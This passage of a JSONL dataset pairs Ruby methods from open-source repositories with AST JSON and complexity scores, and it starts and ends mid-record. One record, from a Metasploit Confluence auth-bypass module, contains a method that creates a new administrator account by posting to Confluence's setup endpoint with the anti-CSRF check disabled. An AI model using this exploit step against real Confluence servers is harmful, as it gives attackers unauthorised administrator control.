\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"[]\",{\"type\":\"str\",\"children\":[\"group_id\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"[]\",{\"type\":\"str\",\"children\":[\"max_tokens\"]}]}]},{\"type\":\"str\",\"children\":[\" tokens\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"; \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity_details\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"quotas_changed\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity_details\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"quotas\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_quota_summary\"]}]},{\"type\":\"str\",\"children\":[\" → \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_quota_summary\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"log_update\",{\"type\":\"str\",\"children\":[\"llm_model\"]},{\"type\":\"lvar\",\"children\":[\"llm_model\"]},{\"type\":\"lvar\",\"children\":[\"initial_attributes\"]},{\"type\":\"send\",\"children\":[null,\"ai_llm_logger_fields\"]},{\"type\":\"lvar\",\"children\":[\"entity_details\"]}]}]}]}","id":"c5677a6e-14c6-40a6-8cc6-6c3d096a6a68"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/foundstone.rb","start_line":3,"raw_source":"def import_foundstone_noko_stream(args={},&block)\n    if block\n      doc = Rex::Parser::FoundstoneDocument.new(args,framework.db) {|type, data| yield type,data }\n    else\n      doc = Rex::Parser::FoundstoneDocument.new(args,self)\n    end\n    parser = ::Nokogiri::XML::SAX::Parser.new(doc)\n    parser.parse(args[:data])\n  end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"import_foundstone_noko_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"FoundstoneDocument\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"FoundstoneDocument\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Nokogiri\"]},\"XML\"]},\"SAX\"]},\"Parser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"doc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]}]}]}","id":"05e4ed68-ea53-4e73-a560-97d6d8980494"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/dependency_linker.rb","start_line":21,"raw_source":"def self.linker(blob_name)\n      LINKERS.find { |linker| linker.support?(blob_name) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"linker\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LINKERS\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"linker\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"linker\"]},\"support?\",{\"type\":\"lvar\",\"children\":[\"blob_name\"]}]}]}]}","id":"6de40813-e509-4818-8d53-6a735f3ae14d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/controllers/discourse_post_event/events_controller.rb","start_line":136,"raw_source":"def filtered_events_params\n      params.permit(\n        :post_id,\n        :category_id,\n        :include_subcategories,\n        :limit,\n        :attending_user,\n        :before,\n        :after,\n        :order,\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filtered_events_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"sym\",\"children\":[\"include_subcategories\"]},{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"sym\",\"children\":[\"attending_user\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"sym\",\"children\":[\"order\"]}]}]}","id":"524ebf96-ca88-407f-af06-65aa65f1fb3b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/trends/tags_controller.rb","start_line":47,"raw_source":"def offset_param\n    params[:offset].to_i\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"offset_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]},\"to_i\"]}]}","id":"c08a7ea4-093f-4323-85df-ba74be2273d7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.rb","start_line":120,"raw_source":"def create_admin_user\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),\n      'headers' => {\n        'X-Atlassian-Token' => 'no-check'\n      },\n      'vars_post' => {\n        'username' => datastore['NEW_USERNAME'],\n        'fullName' => 'New Admin',\n        'email' => datastore['NEW_EMAIL'],\n        'password' => datastore['NEW_PASSWORD'],\n        'confirm' => datastore['NEW_PASSWORD'],\n        'setup-next-button' => 'Next'\n      }\n    )\n    res&.code == 302\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_admin_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"setup/setupadministrator.action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Atlassian-Token\"]},{\"type\":\"str\",\"children\":[\"no-check\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fullName\"]},{\"type\":\"str\",\"children\":[\"New Admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_EMAIL\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"confirm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"setup-next-button\"]},{\"type\":\"str\",\"children\":[\"Next\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]}]}","id":"8e0d0932-d34b-48eb-9b7a-8d1344490152"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/drupal_json.rb","start_line":29,"raw_source":"def import_users\n    puts \"\", \"Importing users\"\n\n    create_users(@users_json) do |u|\n      {\n        id: u[\"uid\"],\n        name: u[\"name\"],\n        email: u[\"mail\"],\n        created_at: Time.zone.at(u[\"created\"].to_i),\n      }\n    end\n    EmailToken.delete_all\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"import_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing users\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_users\",{\"type\":\"ivar\",\"children\":[\"@users_json\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"uid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mail\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created\"]}]},\"to_i\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"delete_all\"]}]}]}","id":"9b61e5a6-4aed-4b42-8b6f-a44c7164a3fd"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_fetcher_test.rb","start_line":150,"raw_source":"def test_fetch_with_database_down\n    IdentityCache::CacheFetcher.any_instance.expects(:sleep).never\n    exc = assert_raises(RuntimeError) do\n      other_cache_fetcher.fetch(key, fill_lock_duration: 0.9) { raise \"database down\" }\n    end\n    assert_equal(\"database down\", exc.message)\n    exc = assert_raises(RuntimeError) do\n      cache_fetcher.fetch(key, fill_lock_duration: 0.9) { raise \"database still down\" }\n    end\n    assert_equal(\"database still down\", exc.message)\n  end","complexity_score":26.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_with_database_down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"CacheFetcher\"]},\"any_instance\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"sleep\"]}]},\"never\"]},{\"type\":\"lvasgn\",\"children\":[\"exc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_cache_fetcher\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fill_lock_duration\"]},{\"type\":\"float\",\"children\":[0.9]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"database down\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"database down\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exc\"]},\"message\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_fetcher\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fill_lock_duration\"]},{\"type\":\"float\",\"children\":[0.9]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"database still down\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"database still down\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exc\"]},\"message\"]}]}]}]}","id":"14bbc332-1bb8-4d55-b659-9e1830677c88"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/site_upload.rb","start_line":75,"raw_source":"def set_meta\n    tempfile = file.queued_for_write[:original]\n\n    return if tempfile.nil?\n\n    width, height = FastImage.size(tempfile.path)\n    self.meta = { width: width, height: height }\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_meta\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tempfile\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"queued_for_write\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"width\"]},{\"type\":\"lvasgn\",\"children\":[\"height\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastImage\"]},\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"meta=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"lvar\",\"children\":[\"width\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"lvar\",\"children\":[\"height\"]}]}]}]}]}]}","id":"84a7c809-4e21-4ab0-a9b0-d529799d4538"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/precheck/lib/precheck/rules/curse_words_rule.rb","start_line":54,"raw_source":"def hashed_curse_word_set\n      curse_hashes = []\n      File.open(File.dirname(__FILE__) + '/rules_data/curse_word_hashes/en_us.txt').each do |line|\n        curse_hashes << line.to_s.strip\n      end\n      return curse_hashes.to_set\n    end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"hashed_curse_word_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"curse_hashes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/rules_data/curse_word_hashes/en_us.txt\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"curse_hashes\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"to_s\"]},\"strip\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"curse_hashes\"]},\"to_set\"]}]}]}]}","id":"821b562c-fddb-4291-8230-da0eb52172a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/about.rb","start_line":18,"raw_source":"def has_banner_image?(upload)\n        has_css?(\"img.about__banner-img[src=\\\"#{GlobalPath.full_cdn_url(upload.url)}\\\"]\")\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_banner_image?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"img.about__banner-img[src=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalPath\"]},\"full_cdn_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]}]}","id":"77b58c63-4386-4cd9-883b-c1e11c005f56"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_bookmarkable.rb","start_line":75,"raw_source":"def self.validate_before_create(guardian, bookmarkable)\n    if bookmarkable.blank? || bookmarkable.topic.blank? ||\n         !guardian.can_see_topic?(bookmarkable.topic) || !guardian.can_see_post?(bookmarkable)\n      raise Discourse::InvalidAccess\n    end\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"validate_before_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"guardian\"]},{\"type\":\"arg\",\"children\":[\"bookmarkable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarkable\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarkable\"]},\"topic\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"can_see_topic?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarkable\"]},\"topic\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"can_see_post?\",{\"type\":\"lvar\",\"children\":[\"bookmarkable\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]}]},null]}]}","id":"058d52b2-74cf-474c-bff3-42df6508c2b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr/aaaa.rb","start_line":57,"raw_source":"def set_type\n          @type = Net::DNS::RR::Types.new(\"AAAA\")\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"RR\"]},\"Types\"]},\"new\",{\"type\":\"str\",\"children\":[\"AAAA\"]}]}]}]}","id":"6aa6f077-3570-4d14-a8a1-4b60340ec320"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rfb/client.rb","start_line":96,"raw_source":"def authenticate_with_user(username = nil, password = nil)\n          type = negotiate_authentication\n          authenticate_with_type(type, username, password)\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_with_user\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"password\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[null,\"negotiate_authentication\"]}]},{\"type\":\"send\",\"children\":[null,\"authenticate_with_type\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}","id":"eb82b0cc-063f-40ed-b556-277d48098777"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/source_users_controller.rb","start_line":47,"raw_source":"def current_user_matches_invite?\n      current_user.id == source_user.reassign_to_user_id\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user_matches_invite?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_user\"]},\"reassign_to_user_id\"]}]}]}","id":"343205ee-7d0f-4ad0-9ee5-c25e2b71e8fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/cursor_based_request_context.rb","start_line":40,"raw_source":"def sort\n          params[:sort]&.to_sym || DEFAULT_SORT_DIRECTION\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},\"to_sym\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_SORT_DIRECTION\"]}]}]}","id":"721d1865-e789-4709-93eb-00e935a0ce53"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/runtime.rb","start_line":86,"raw_source":"def max_threads\n        threads = 1 # main thread\n\n        if puma? && ::Puma.respond_to?(:cli_config)\n          threads += ::Puma.cli_config.options[:max_threads]\n        elsif sidekiq?\n          # Sidekiq has a internal connection pool to handle heartbeat, scheduled polls,\n          # cron polls and housekeeping. max_threads can match Sidekqi process's concurrency.\n          #\n          # The Sidekiq main thread does not perform GitLab-related logic, so we can ignore it.\n          threads = Sidekiq.default_configuration[:concurrency]\n        end\n\n        if puma?\n          threads += Gitlab::ActionCable::Config.worker_pool_size\n        end\n\n        threads\n      end","complexity_score":23.65,"ast_json":"{\"type\":\"def\",\"children\":[\"max_threads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"threads\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puma?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Puma\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"cli_config\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"threads\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Puma\"]},\"cli_config\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_threads\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sidekiq?\"]},{\"type\":\"lvasgn\",\"children\":[\"threads\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"concurrency\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puma?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"threads\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ActionCable\"]},\"Config\"]},\"worker_pool_size\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"threads\"]}]}]}","id":"30df5c42-2d45-4511-85aa-5616677a087f"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/organizations_controller.rb","start_line":28,"raw_source":"def create\n    rate_limit!(:organization_creation)\n\n    @tab = \"organization\"\n    @user = current_user\n\n    unless valid_image?\n      render template: \"users/edit\"\n      return\n    end\n\n    @organization = Organization.new(organization_params)\n    authorize @organization\n    if @organization.save\n      rate_limiter.track_limit_by_action(:organization_creation)\n      @organization_membership = OrganizationMembership.create!(organization_id: @organization.id,\n                                                                user_id: current_user.id, type_of_user: \"admin\")\n      flash[:settings_notice] = I18n.t(\"organizations_controller.created\")\n      redirect_to \"/settings/organization/#{@organization.id}\"\n    else\n      render template: \"users/edit\"\n    end\n  end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_limit!\",{\"type\":\"sym\",\"children\":[\"organization_creation\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tab\",{\"type\":\"str\",\"children\":[\"organization\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_image?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"users/edit\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@organization\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Organization\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"organization_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@organization\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"